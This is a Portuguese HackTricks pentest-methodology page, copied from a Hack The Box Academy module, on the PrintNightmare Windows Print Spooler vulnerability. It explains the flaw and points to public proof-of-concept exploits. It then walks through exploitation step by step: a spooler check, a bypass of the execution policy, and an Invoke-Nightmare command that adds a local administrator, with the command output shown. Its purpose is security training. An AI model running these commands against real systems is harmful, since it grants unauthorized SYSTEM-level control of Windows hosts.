hacktricks/windows-hardening/active-directory-methodology/printnightmare.md
2023-06-06 18:56:34 +00:00

8.6 KiB

PrintNightmare

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta página foi copiada de https://academy.hackthebox.com/module/67/section/627****

CVE-2021-1675/CVE-2021-34527 PrintNightmare é uma falha em RpcAddPrinterDriver que é usada para permitir a impressão remota e instalação de drivers.
Esta função destina-se a dar aos usuários com o privilégio do Windows SeLoadDriverPrivilege a capacidade de adicionar drivers a um Spooler de Impressão remoto. Esse direito é normalmente reservado para usuários no grupo Administradores integrados e Operadores de Impressão que podem ter uma necessidade legítima de instalar um driver de impressora em uma máquina de usuário final remotamente.

A falha permitiu que qualquer usuário autenticado adicionasse um driver de impressão a um sistema Windows sem ter o privilégio mencionado acima, permitindo que um invasor execute código remoto como SYSTEM em qualquer sistema afetado. A falha afeta todas as versões suportadas do Windows, e sendo que o Spooler de Impressão é executado por padrão em Controladores de Domínio, Windows 7 e 10, e muitas vezes é habilitado em servidores Windows, isso apresenta uma enorme superfície de ataque, daí o "pesadelo".

Inicialmente, a Microsoft lançou um patch que não corrigiu o problema (e a orientação inicial era desativar o serviço Spooler, o que não é prático para muitas organizações), mas lançou um segundo patch em julho de 2021, juntamente com orientações para verificar se as configurações específicas do registro estão definidas como 0 ou não definidas.

Assim que essa vulnerabilidade foi tornada pública, exploits PoC foram lançados rapidamente. **** Esta versão por @cube0x0 pode ser usada para executar um DLL malicioso remotamente ou localmente usando uma versão modificada do Impacket. O repositório também contém uma implementação em C#.
Este **** script PowerShell **** pode ser usado para rápida escalada de privilégios local. Por padrão, este script adiciona um novo usuário admin local, mas também podemos fornecer uma DLL personalizada para obter um shell reverso ou similar se adicionar um usuário admin local não estiver no escopo.

Verificando o Serviço Spooler

Podemos verificar rapidamente se o serviço Spooler está em execução com o seguinte comando. Se ele não estiver em execução, receberemos um erro "caminho não existe".

PS C:\htb> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Adicionando Administrador Local com PrintNightmare PowerShell PoC

Comece por burlar a política de execução no host de destino:

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Agora podemos importar o script do PowerShell e usá-lo para adicionar um novo usuário administrador local.

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirmando Novo Usuário Administrador

Se tudo correu conforme o planejado, teremos um novo usuário administrador local sob nosso controle. Adicionar um usuário é "barulhento", não gostaríamos de fazer isso em um engajamento onde o sigilo é uma consideração. Além disso, gostaríamos de verificar com nosso cliente se a criação de contas está dentro do escopo da avaliação.

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥